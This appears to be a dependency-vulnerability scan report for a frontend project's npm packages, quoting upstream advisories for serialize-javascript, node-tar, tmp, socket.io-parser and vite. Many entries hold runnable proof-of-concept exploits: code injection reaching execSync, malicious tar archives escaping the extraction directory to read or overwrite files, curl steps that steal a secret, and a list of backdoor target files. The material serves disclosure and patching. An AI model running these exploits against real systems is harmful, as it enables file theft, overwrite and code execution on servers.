// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()
```
```javascript
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution
```
```javascript
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command
```
### Patches
The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3CWE-96 Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')Vulnerable Software & Versions (NPM):
### Impact **What kind of vulnerability is it?** It is a **Denial of Service (DoS)** vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from `Array.prototype` but has a very large `length` property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely. **Who is impacted?** Applications that use `serialize-javascript` to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to **Prototype Pollution** or handles untrusted data via **YAML Deserialization**, as these could be used to inject the malicious object. ### Patches **Has the problem been patched?** Yes, the issue has been patched by replacing `instanceof Array` checks with `Array.isArray()` and using `Object.keys()` for sparse array detection. **What versions should users upgrade to?** Users should upgrade to **`v7.0.5`** or later. ### Workarounds **Is there a way for users to fix or remediate the vulnerability without upgrading?** There is no direct code-level workaround within the library itself. However, users can mitigate the risk by: * Validating and sanitizing all input before passing it to the `serialize()` function. * Ensuring the environment is protected against Prototype Pollution. * Upgrading to **`v7.0.5`** as soon as possible. ### Acknowledgements Serialize JavaScript thanks **Tomer Aberbach** (@TomerAberbach) for discovering and privately disclosing this issue.CWE-400 Uncontrolled Resource Consumption, CWE-834 Excessive Iteration
Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?socket.io-parser
Referenced In Project/Scope: package-lock.json: transitive
### Impact A specially crafted Socket.IO packet can make the server wait for a large number of binary attachments and buffer them, which can be exploited to make the server run out of memory. ### Patches | Version range | Used by | Fixed version | |------------------|--------------------------------------------|---------------| | `>=4.0.0 <4.2.6` | `socket.io@4.x` and `socket.io-client@4.x` | `4.2.6` | | `>=3.4.0 <3.4.4` | `socket.io@2.x` | `3.4.4` | | `<3.3.5` | `socket.io-client@2.x` | `3.3.5` | ### Workarounds There is no known workaround except upgrading to a safe version. ### For more information If you have any questions or comments about this advisory: - Open a discussion [here](https://github.com/socketio/socket.io/discussions)CWE-754 Improper Check for Unusual or Exceptional Conditions
Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/src/assets/static-config.js
MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
File Path: /builds/pub/numeco/misis/misis-frontend/src/environments/dev/static-config.js
MD5: 62b7e80d9134a8ee5788ac652ac9f8d7
SHA1: 54fcf9c96e56ebbb55a4deabddc151e56ff6ceeb
SHA256:3e48f28be9b18eb4ad11c24fe3530f2723ef0277b80000bc2c62ad91011474ec
File Path: /builds/pub/numeco/misis/misis-frontend/src/environments/prod/static-config.js
MD5: ddbf4a72b50a5e5caacfc3f7cd13cddc
SHA1: 7c09b64f05b54c626c77e65fce405acb0299bdf5
SHA256:4c19ade5d5a370479f980d8fec6dd892b9fa29d3912a04fb67b972b3f3dcf980
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?tar
Referenced In Project/Scope: package-lock.json: transitive
**TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS
**AUTHOR**: Tomás Illuminati
### Details
A race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `ß` and `ss`), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
```typescript
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
paths =
isWindows ?
['win32 parallelization disabled']
: paths.map(p => {
return stripTrailingSlashes(
join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
).toLowerCase()
})
```
In MacOS the ```join(normalizeUnicode(p)), ``` FS confuses ß with ss, but this code does not. For example:
``````bash
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .
drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..
-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss
bash-3.2$
``````
---
### PoC
``````javascript
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
``````
---
### Impact
This is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `ß` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `ß` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive.
---
### Remediation
Update `path-reservations.js` to use a normalization form that matches the target filesystem's behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase('en')` and then `toLocaleUpperCase('en')`.
Users who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
---CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition, CWE-176 Improper Handling of Unicode EncodingVulnerable Software & Versions (NPM):
### Summary
node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.
### Details
The vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently:
**Security check in `[STRIPABSOLUTEPATH]`:**
```javascript
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }
```
**Hardlink creation in `[HARDLINK]`:**
```javascript
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);
```
**Example:** An application extracts a TAR using `tar.extract({ cwd: '/var/app/uploads/' })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`.
- **Security check** resolves the linkpath relative to the entry's parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**.
- **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system's `/etc/passwd`.
The security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.
### PoC
#### Setup
Create a new directory with these files:
```
poc/
├── package.json
├── secret.txt ← sensitive file (target)
├── server.js ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/ ← created automatically by server.js
└── (extracted files go here)
```
**package.json**
```json
{ "dependencies": { "tar": "^7.5.0" } }
```
**secret.txt** (sensitive file outside uploads/)
```
DATABASE_PASSWORD=supersecret123
```
**server.js** (vulnerable file upload server)
```javascript
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');
const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });
http.createServer((req, res) => {
if (req.method === 'POST' && req.url === '/upload') {
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', async () => {
fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
res.end('Extracted\n');
});
} else if (req.method === 'GET' && req.url === '/read') {
// Simulates app serving extracted files (e.g., file download, static assets)
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
res.end(fs.readFileSync(targetPath));
} else {
res.end('File not found\n');
}
} else if (req.method === 'POST' && req.url === '/write') {
// Simulates app writing to extracted file (e.g., config update, log append)
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', () => {
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
fs.writeFileSync(targetPath, Buffer.concat(chunks));
res.end('Written\n');
} else {
res.end('File not found\n');
}
});
} else {
res.end('POST /upload, GET /read, or POST /write\n');
}
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));
```
**create-malicious-tar.js** (attacker creates exploit TAR)
```javascript
const fs = require('fs');
function tarHeader(name, type, linkpath = '', size = 0) {
const b = Buffer.alloc(512, 0);
b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
b.write(' ', 148);
b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
if (linkpath) b.write(linkpath, 157);
b.write('ustar\x00', 257); b.write('00', 263);
let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
return b;
}
// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
tarHeader('d/', 'dir'),
tarHeader('d/x', 'link', '../secret.txt'),
Buffer.alloc(1024)
]));
console.log('Created malicious.tar');
```
#### Run
```bash
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt
# Terminal 1: Start server
node server.js
# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload
# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123
# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write
# Confirm secret.txt was modified
cat secret.txt
```
### Impact
An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:
**Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process.
**Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.
### Remote Code Execution / Server Takeover
| Attack Vector | Target File | Result |
|--------------|-------------|--------|
| SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server |
| Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution |
| Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login |
| Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests |
| Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart |
| User Creation | `/etc/passwd` (if running as root) | Add new privileged user |
## Data Exfiltration & Corruption
1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations
2. **Read sensitive files** by creating hardlinks that point outside extraction directory
3. **Corrupt databases** and application state
4. **Steal credentials** from config files, `.env`, secretsCWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-59 Improper Link Resolution Before File Access ('Link Following')Vulnerable Software & Versions (NPM):
### Summary
`tar.extract()` in Node `tar` allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.
This enables **arbitrary file read and write** as the extracting user (no root, no chmod, no `preservePaths`).
Severity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.
### Details
The bypass chain uses two symlinks plus one hardlink:
1. `a/b/c/up -> ../..`
2. `a/b/escape -> c/up/../..`
3. `exfil` (hardlink) -> `a/b/escape/<target-relative-to-parent-of-extract>`
Why this works:
- Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety.
- See `STRIPABSOLUTEPATH` logic in:
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:255`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:268`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:281`
- Hardlink extraction resolves target as `path.resolve(cwd, entry.linkpath)` and then calls `fs.link(target, destination)`.
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:566`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:567`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:703`
- Parent directory safety checks (`mkdir` + symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path.
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:617`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:619`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:27`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:101`
As a result, `exfil` is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via `exfil`.
### PoC
[hardlink.js](https://github.com/user-attachments/files/25240082/hardlink.js)
Environment used for validation:
- Node: `v25.4.0`
- tar: `7.5.7`
- OS: macOS Darwin 25.2.0
- Extract options: defaults (`tar.extract({ file, cwd })`)
Steps:
1. Prepare/locate a `tar` module. If `require('tar')` is not available locally, set `TAR_MODULE` to an absolute path to a tar package directory.
2. Run:
```bash
TAR_MODULE="$(cd '../tar-audit-setuid - CVE/node_modules/tar' && pwd)" node hardlink.js
```
3. Expected vulnerable output (key lines):
```text
same_inode=true
read_ok=true
write_ok=true
result=VULNERABLE
```
Interpretation:
- `same_inode=true`: extracted `exfil` and external secret are the same file object.
- `read_ok=true`: reading `exfil` leaks external content.
- `write_ok=true`: writing `exfil` modifies external file.
### Impact
Vulnerability type:
- Arbitrary file read/write via archive extraction path confusion and link resolution.
Who is impacted:
- Any application/service that extracts attacker-controlled tar archives with Node `tar` defaults.
- Impact scope is the privileges of the extracting process user.
Potential outcomes:
- Read sensitive files reachable by the process user.
- Overwrite writable files outside extraction root.
- Escalate impact depending on deployment context (keys, configs, scripts, app data).CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')Vulnerable Software & Versions (NPM):
### Summary
The `node-tar` library (`<= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets.
### Details
The vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods.
**1. Hardlink Escape (Arbitrary File Overwrite)**
The extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path.
The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.
**2. Symlink Poisoning**
The extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used.
### PoC
The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.
```javascript
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
```
### Impact
* **Arbitrary File Overwrite:** An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
* **Remote Code Execution (RCE):** In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.)CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')Vulnerable Software & Versions (NPM):
### Summary
`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.
### Details
The extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.
What happens with `linkpath: "C:../../../target.txt"`:
1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.
2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.
4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).
This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.
### PoC
Tested on Arch Linux with `tar@7.5.10`.
PoC script (`poc.cjs`):
```js
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```
Run:
```bash
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
```
Observed output:
```text
PWNED
../../../target.txt
lrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt
```
`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.
### Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar filesCWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')Vulnerable Software & Versions (NPM):
### Summary
`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.
### Details
The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.
What happens with `linkpath: "C:../target.txt"`:
1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.
2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.
3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.
This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.
### PoC
Tested on Arch Linux with `tar@7.5.9`.
PoC script (`poc.cjs`):
```js
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```
Run:
```bash
cd test-workspace
node poc.cjs && ls -l ../target.txt
```
Observed output:
```text
PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt
```
`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.
### Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar filesCWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-59 Improper Link Resolution Before File Access ('Link Following')Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?tmp
Referenced In Project/Scope: package-lock.json: transitive
### Summary
`tmp@0.2.3` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter.
### Details
According to the documentation there are some conditions that must be held:
```
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access,
as tmp will not check the availability of the path, nor will it establish the requested path for you.
```
Related issue: https://github.com/raszi/node-tmp/issues/207.
The issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths:
```js
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
if (name.startsWith(tmpDir)) {
return path.resolve(name);
} else {
return path.resolve(path.join(tmpDir, name));
}
}
```
If the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it's possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`:
```js
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
if (option === 'name') {
// assert that name is not absolute and does not contain a path
if (path.isAbsolute(name))
throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
// must not fail on valid .<name> or ..<name> or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}
```
### PoC
The following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible.
Tested on a Linux machine.
- Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it
```bash
mkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
```
- check the folder is empty:
```bash
ls -lha $HOME/mydir1 | grep "tmp-"
```
- run the poc
```bash
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
```
- the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`):
```bash
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]
```
- `main.js`
```js
// npm i tmp@0.2.3
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}
```
A Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links.
```js
function _resolvePath(name, tmpDir) {
let resolvedPath;
if (name.startsWith(tmpDir)) {
resolvedPath = path.resolve(name);
} else {
resolvedPath = path.resolve(path.join(tmpDir, name));
}
return fs.realpathSync(resolvedPath);
}
```
### Impact
Arbitrary temporary file / directory write via symlinkCWE-59 Improper Link Resolution Before File Access ('Link Following')Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?vite
Referenced In Project/Scope: package-lock.json: transitive
### Summary
Any files ending with `.map` even out side the project can be returned to the browser.
### Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host))
- have a sensitive content in files ending with `.map` and the path is predictable
### Details
In Vite v7.3.1, the dev server’s handling of `.map` requests for optimized dependencies resolves file paths and calls `readFile` without restricting `../` segments in the URL. As a result, it is possible to bypass the [`server.fs.strict`](https://vite.dev/config/server-options#server-fs-strict) allow list and retrieve `.map` files located outside the project root, provided they can be parsed as valid source map JSON.
### PoC
1. Create a minimal PoC sourcemap outside the project root
```bash
cat > /tmp/poc.map <<'EOF'
{"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
EOF
```
2. Start the Vite dev server (example)
```bash
pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080
```
3. Confirm that direct `/@fs` access is blocked by `strict` (returns 403)
